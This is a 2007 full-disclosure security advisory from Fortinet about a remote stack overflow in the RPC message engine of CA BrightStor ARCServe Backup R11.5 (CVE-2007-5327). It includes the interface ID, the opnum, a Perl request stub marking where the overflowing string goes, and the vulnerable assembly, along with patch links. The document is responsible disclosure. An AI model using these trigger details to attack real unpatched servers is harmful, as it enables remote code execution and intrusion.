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cabright-overflow.txt

Posted on 12 October 2007
Source : packetstormsecurity.org Link

 

hi full-disclosure,


CA BrightStor ARCServe BackUp Message Engine Remote Stack Overflow Vulnerability

by cocoruder of Fortinet Security Research Team
http://ruder.cdut.net


Summary:

A remote stack overflow vulnerability exist in the RPC interface of CA BrightStor ARCServe BackUp. An arbitrary anonymous attacker can execute arbitrary code on the affected system by exploiting this vulnerability.


Affected Software Versions:

CA BrightStor ARCServe BackUp R11.5



Details::

The flaw specifically exits within the CA BrightStor Message Engine due to incorrect handling of RPC requests on TCP port 6504. The interface is identified by 506b1890-14c8-11d1-bbc3-00805fa6962e v1.0. Opnum 0x10d specifies the vulnerable operation within this interface.

Function 0x10d's IDL as follows:

long sub_28EA5F70 (
[in] handle_t arg_1,
[in, out][size_is(256), length_is(1)] struct struct_2 * arg_2,
[in][string] char * arg_3,
[in][string] char * arg_4,
[in][string] char * arg_5,
[in][string] char * arg_6,
[in][string] char * arg_7,
[in] long arg_8,
[out][size_is(arg_1)] byte * arg_9
);

The following is the normal stub of this function:

my $stub=
"x00x01x00x00x00x00x00x00x01x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00".

"x10x00x00x00x00x00x00x00". #point1: the victim's computer name
"x10x00x00x00".
"kkk-49ade5b31c1".
"x00".

"x09x00x00x00x00x00x00x00x09x00x00x00". #point2: a string,set it long
"Database".
"x00x00x00x00".

"x01x00x00x00x00x00x00x00x01x00x00x00".
"x00x00x00x00".

"x1ax00x00x00x00x00x00x00x1ax00x00x00".
"RemoteDatabaseMachineName".
"x00x00x00".

"x01x00x00x00x00x00x00x00x01x00x00x00".
"x00x79x49x6ex40x00x00x00";


When we set #point1 equal to the victim's computer name, and set #point2 is a long string, there will cause a stack base overflow vulnerability. The vulnerable code as follows:

.text:25604EF8 lea edx, [esp+120h+SubKey]
.text:25604EFC push offset asc_2561E2BC
.text:25604F01 push edx ;
.text:25604F02 call edi ; lstrcatA ;
.text:25604F04 lea eax, [esp+120h+SubKey]
.text:25604F08 push esi ;
.text:25604F09 push eax
.text:25604F0A call edi ; lstrcatA ; overflow!



Solution:

CA has released an advisory for this vulnerability which is available on:

http://supportconnectw.ca.com/public/storage/infodocs/basb-secnotice.asp

Fortinet advisory can be found at:

http://www.fortiguardcenter.com



CVE Information:

CVE-2007-5327


Disclosure Timeline:

2007.04.11 Vendor notified via email
2007.04.12 Vendor responded
2007.10.11 Final public disclosure



Disclaimer:

Although Fortinet has attempted to provide accurate information in
these materials, Fortinet assumes no legal responsibility for the
accuracy or completeness of the information. More specific information
is available on request from Fortinet. Please note that Fortinet's
product information does not constitute or contain any guarantee,
warranty or legally binding representation, unless expressly
identified as such in a duly signed writing.


Fortinet Security Research
secresearch@fortinet.com
http://www.fortinet.com




Best Regards,


¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡Haifei Li
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡hfli@fortinet.com
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡2007-10-11

 

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